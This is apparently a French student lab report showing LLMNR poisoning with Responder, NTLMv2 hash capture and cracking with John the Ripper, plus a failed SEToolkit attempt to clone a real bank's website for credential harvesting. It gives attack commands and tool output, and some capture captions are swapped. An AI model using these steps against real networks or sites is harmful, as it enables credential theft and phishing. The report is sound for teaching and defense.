

Compte rendu — TP de cybersécurité

Simulation LLMNR Poisoning, capture NTLMv2 et test de récupération de mot de passe

Environnement	Kali Linux + poste Windows de laboratoire
Outil principal	Responder
Authentification observée	NTLMv2 / NTLMv2-SSP
Outil de test du mot de passe	John the Ripper + RockYou

1. Objectif du TP

L'objectif était de reproduire, dans un environnement de laboratoire autorisé, un scénario de résolution de noms Windows détournée. Le principe consiste à observer des requêtes LLMNR et à répondre à la place de la machine recherchée avec Responder. Lorsqu'un poste Windows tente ensuite d'accéder à une ressource réseau, une authentification NTLMv2 peut être négociée et les informations d'authentification nécessaires au protocole peuvent être observées par la machine de laboratoire.

La dernière étape a consisté à utiliser John the Ripper avec la liste de mots RockYou afin de vérifier si le secret utilisé dans le laboratoire pouvait être retrouvé par recherche dans une liste de mots.

Schéma général

Poste Windows → requête LLMNR → Kali / Responder → réponse falsifiée → authentification NTLMv2 → fichier de test → John + RockYou

2. Première tentative : SEToolkit / clonage de site

Une première manipulation a été effectuée avec SEToolkit afin de cloner un site web. L'URL saisie était <https://afgbankgabon.com/>. SEToolkit a indiqué que le clonage pouvait prendre un certain temps, puis a terminé avec une erreur concernant le fichier `src/webattack/tabnabbing/source.js`.

```
Session Actions Éditer Vue Aide
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesn't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perspective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [10.0.2.1
5]:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: https://afgbankgabon.com/

[*] Cloning the website: https://afgbankgabon.com/
[*] This could take a little bit...

[!] Something went wrong, printing the error: [Errno 2] No such file or direc
tory: 'src/webattack/tabnabbing/source.js'

(manu@kali)-[~]
$
```

Capture 1 — Tentative de clonage et erreur de fichier dans SEToolkit.

Cette erreur a interrompu cette partie du TP. La suite du travail s'est concentrée sur Responder et le scénario LLMNR/NTLMv2.

3. Observation des requêtes avec Responder

Responder a ensuite été utilisé sur l'interface réseau de Kali. Dans la console, plusieurs réponses empoisonnées ont été observées, notamment pour le nom test. Cela signifie que le poste Windows a effectué une résolution de nom locale que Responder a pu intercepter dans le réseau de laboratoire.

Exemple visible dans la capture :

[LLMNR] Poisoned answer sent to 192.168.56.110 for name test

LLMNR (Link-Local Multicast Name Resolution) utilise normalement UDP/5355. Dans ce TP, Responder a répondu à la requête en annonçant sa propre adresse comme réponse au nom demandé. La capture montre également une réponse mDNS pour test.local.

[illegible]

Capture 2 — Réponses LLMNR/mDNS et début de l'échange SMB/NTLMv2.

4. Capture de l'authentification NTLMv2

Après la résolution de nom, Responder affiche une communication SMB associée à une authentification NTLMv2-SSP. Les lignes visibles indiquent notamment :

```
[SMB] NTLMv2-SSP Username : CD1\vboxuser
[SMB] NTLMv2-SSP Hash : vboxuser::CD1:...
```

Le champ Username identifie le compte ayant effectué l'authentification. La ligne NTLMv2-SSP Hash correspond aux données de challenge/réponse utilisées par NTLMv2. Ce n'est pas le mot de passe en clair : il s'agit d'un élément pouvant être utilisé pour une vérification hors ligne de candidats au mot de passe.

5. Préparation du fichier de test

Le contenu capturé a été placé dans un fichier nommé hash.txt. Le fichier a ensuite été ouvert avec nano afin de vérifier ou modifier son contenu avant le test avec John.

```
(manu@kali)~$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
1234 (vboxuser)
1g 0:00:00:00 DONE (2026-09-25 17:22) 25.00g/s 27200p/s 27200c/s 27200C/s dancer1..morena
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

Capture 3 — Ouverture de hash.txt avec nano.

6. Test avec John the Ripper et RockYou

La commande utilisée était :

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

John indique avoir chargé 1 password hash au format netntlmv2. Il parcourt ensuite la liste RockYou et teste les mots qu'elle contient contre le challenge/réponse NTLMv2.

```
(manu@kali)~$ nano hash.txt
```

Capture 4 — Commande John et résultat du premier test.

7. Résultat

Dans la sortie affichée, John indique 1g et affiche 1234 associé au compte vboxuser. Dans le contexte de ce laboratoire, cela signifie que le candidat 1234 a été retrouvé dans la liste RockYou et correspond au secret utilisé pour le compte de test.

```
(manu@kali)~$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
1234 (vboxuser)
1g 0:00:00:00 DONE (2026-09-25 17:22) 25.00g/s 27200p/s 27200c/s 27200C/s dancer1..morena
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

Capture 5 — John affiche le mot trouvé et termine la session.

8. Bilan du TP

Le TP a permis de suivre toute la chaîne technique dans un environnement de laboratoire : déclenchement d'une résolution de nom Windows, réponse de Responder, observation d'une authentification SMB en NTLMv2, récupération des données de challenge/réponse, puis test hors ligne avec John the Ripper et RockYou.

Chaîne réalisée

1. Le poste Windows recherche le nom test.
2. Responder détecte la requête LLMNR.
3. Responder envoie une réponse empoisonnée.
4. Une communication SMB provoque une authentification NTLMv2.
5. Responder affiche les informations NTLMv2 de l'échange.
6. Les données sont placées dans hash.txt.
7. John utilise RockYou pour tester des candidats.
8. Le candidat 1234 est retrouvé dans le laboratoire.

9. Mesures de protection à retenir

Dans un réseau d'entreprise, ce type de scénario peut être limité notamment en désactivant ou réduisant l'utilisation de protocoles de résolution de noms locaux inutiles, en renforçant les protections SMB et en privilégiant des mécanismes d'authentification modernes lorsque cela est possible. La segmentation réseau et la surveillance des réponses LLMNR/NBT-NS peuvent également aider à détecter ce type d'activité.

Ce compte rendu décrit les manipulations réalisées dans le cadre du laboratoire et ne doit pas être appliqué à des systèmes ou comptes pour lesquels une autorisation explicite n'a pas été donnée.